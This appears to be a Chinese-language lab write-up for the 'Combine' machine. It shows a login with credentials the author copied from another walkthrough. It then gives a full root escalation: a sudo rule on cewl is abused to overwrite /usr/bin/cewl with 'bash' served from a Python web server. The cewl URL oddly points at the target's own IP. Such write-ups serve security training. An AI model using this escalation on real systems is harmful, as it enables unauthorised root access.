find: '/proc/565/fdinfo': Permission denied
find: '/proc/565/ns': Permission denied
find: '/etc/polkit-1/localauthority': Permission denied
find: '/etc/ssl/private': Permission denied
find: '/etc/inspircd': Permission denied
/var/backups
find: '/var/log/private': Permission denied
find: '/var/log/unattended-upgrades': Permission denied
find: '/var/log/apache2': Permission denied
find: '/var/spool/rsyslog': Permission denied
find: '/var/spool/cron/crontabs': Permission denied
find: '/var/lib/polkit-1': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/lib/php/sessions': Permission denied
find: '/var/lib/private': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/cache/apparmor/ea9ed67a.0': Permission denied
find: '/var/cache/ircd-hybrid': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/private': Permission denied
可以发现/var/backups是存在的，那么去看看
www-data@Combine:/$ cd /var/backups
cd /var/backups
www-data@Combine:/var/backups$ ls
ls
alternatives.tar.0 apt.extended_states.5.gz dpkg.status.1.gz
apt.extended_states.0 dpkg.diversions.0 group.bak
apt.extended_states.1.gz dpkg.diversions.1.gz gshadow.bak
apt.extended_states.2.gz dpkg.statoverride.0 passwd.bak
apt.extended_states.3.gz dpkg.statoverride.1.gz shadow.bak
apt.extended_states.4.gz dpkg.status.0
看一下权限
www-data@Combine:/var/backups$ ls -al
ls -al
total 804
drwxr-xr-x 2 root root 4096 Oct 14 06:25 .
drwxr-xr-x 12 root root 4096 Apr 1 2025 ..
-rw-r--r-- 1 root root 51200 Oct 13 06:25 alternatives.tar.0
-rw-r--r-- 1 root root 24470 Oct 10 09:16 apt.extended_states.0
-rw-r--r-- 1 root root 2568 Apr 11 2025 apt.extended_states.1.gz
-rw-r--r-- 1 root root 2556 Apr 4 2025 apt.extended_states.2.gz
-rw-r--r-- 1 root root 2006 Apr 1 2025 apt.extended_states.3.gz
-rw-r--r-- 1 root root 1542 Apr 1 2025 apt.extended_states.4.gz
-rw-r--r-- 1 root root 757 Mar 30 2025 apt.extended_states.5.gz
-rw-r--r-- 1 root root 356 Apr 11 2025 dpkg.diversions.0
-rw-r--r-- 1 root root 168 Apr 11 2025 dpkg.diversions.1.gz
-rw-r--r-- 1 root root 172 Apr 1 2025 dpkg.statoverride.0
-rw-r--r-- 1 root root 161 Apr 1 2025 dpkg.statoverride.1.gz
-rw-r--r-- 1 root root 541833 Oct 10 09:16 dpkg.status.0
-rw-r--r-- 1 root root 138093 Oct 10 09:16 dpkg.status.1.gz
-rw------- 1 root root 703 Oct 10 09:09 group.bak
-rw------- 1 root shadow 586 Oct 10 09:09 gshadow.bak
-rw------- 1 root root 1451 Oct 10 09:11 passwd.bak
-rw------- 1 root shadow 968 Oct 10 09:11 shadow.bak
把所有可读的文件都读一遍，没屁用，突然想起来之前群里的讨论
某群友:我这只有apt.extended_states.0 和 apt.extended_states.[1-5].gz
看了下wp，卧槽，我这里也没有那个可以得到账号密码的文件，那算了，我直接抄账号密码登录
┌──(root㉿kali)-[~]
└─# ssh dashamao@192.168.56.106
The authenticity of host '192.168.56.106 (192.168.56.106)' can't be established.
ED25519 key fingerprint is SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
~/.ssh/known_hosts:3: [hashed name]
~/.ssh/known_hosts:7: [hashed name]
~/.ssh/known_hosts:8: [hashed name]
~/.ssh/known_hosts:9: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.106' (ED25519) to the list of known hosts.
dashamao@192.168.56.106's password:
Linux Combine 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
dashamao@Combine:~$ id
uid=1000(dashamao) gid=1000(dashamao) groups=1000(dashamao)
相当狼狈的提到user了
dashamao@Combine:~$ sudo -l
Matching Defaults entries for dashamao on Combine:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User dashamao may run the following commands on Combine:
(ALL) NOPASSWD: /usr/bin/cewl
日常权限检查发现猫腻，搜了一圈cewl提权没结果，查看wp简直被吓坏了
用cewl的工具特性来进行提权，实在高
关于cewl，谷歌一下不难知道他是一种密码生成工具，可以根据爬取的网页来生成密码到指定目录
所以我们本地可以准备起一个python服务，然后内容为bash四个字，由于其他的路径没有写入权限，我们可以利用cewl把python服务的bash写入到cewl中，然后就可以进行提权
┌──(root㉿kali)-[/home/test]
└─# echo 'bash'>a
┌──(root㉿kali)-[/home/test]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
dashamao@Combine:~$ sudo /usr/bin/cewl http://192.168.56.106/a -w /usr/bin/cewl
CeWL 5.4.8 (Inclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
然后bash就被写入了cewl
最后我们只需要
sudo /usr/bin/cewl
即可提权到root